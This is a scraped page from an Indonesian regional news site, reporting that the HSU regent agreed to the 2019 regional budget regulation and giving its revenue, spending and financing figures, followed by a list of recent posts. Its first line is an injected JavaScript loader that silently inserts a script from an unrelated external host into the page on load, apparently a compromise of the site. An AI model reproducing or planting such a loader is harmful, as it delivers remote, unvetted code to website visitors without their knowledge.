(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bupati HSU Sepakati Raperda APBD 2019


AMUNTAI, Bupati HSU H Abdul Wahid HK menyampaikan pendapat akhir Rancangan Peraturan Daerah (Raperda) tentang Anggaran Pendapatan Belanja Daerah (APBD) tahun anggaran 2019 pada rapat paripurna DPRD HSU, Senin (19/11).
Setelah melalui tahapan pembahasan Rancangan APBD tahun anggaran 2019, menyepekati bersama alokasi anggaran baik pendapatan, belanja, maupun pembiayan.

Pendapatan daerah setelah disepekati sebesar Rp 926 miliar lebih tepatnya Rp 926. 584.940.130. Belanja daerah disepekati sebesar Rp 1,08 triliun (Rp 1.018.536.789.380).

Sementara untuk pembiyaan daerah setelah disepekati sebesar Rp 95,2 miliar (Rp 95.251.849.250), sedangkan untuk pengeluaran sebesar Rp 3,3 miliar (Rp 3.300.000.000). Sesuai dengan ketentuan yang sudah diatur dalam Peraturan Daerah nomor 58 tahun 2005 tentang penglolaan keuangan daerah, setiap jumlah pendapatan yang dianggarkan dalam APBD harus merupakan perkiraan yang terukur secara rasional.

“Kepada pimpinan perangkat daerah yang terkait langsung dengan tugas dan fungsi pencapaian realisasi target pendapatan, agar berupaya maksimal merealisasikan target pendapatan yang telah kita tetapkan, bahkan bila memungkinkan realisasi yang dicapai dapat melampaui dari target yang disepekati,” ujar Wahid.

Semua pimpinan perangkat daerah diminta melakukan pengendalian, efesiensi dan efektifitas pelaksanaan penyerapan anggaran. Kegiatan yang dialokasikan dalam belanja pengadaan barang/jasa atau belanja modal, agar dilaksanakan direncanakan diawal tahun tahun anggaran. Sehingga semua kegiatan tender dapat diselesaikan dalam tahun anggaran berjalan.

“Saya menyampaikan terimakasih dan penghargaan setinggi tingginya atas kesepekatan dan persetujuan terhadap Raperda APBD tahun anggaran 2019,” pungkas Wahid. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H… Read More

48 menit ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

4 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

5 jam ago

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

7 jam ago

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

9 jam ago

Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More

9 jam ago

This website uses cookies.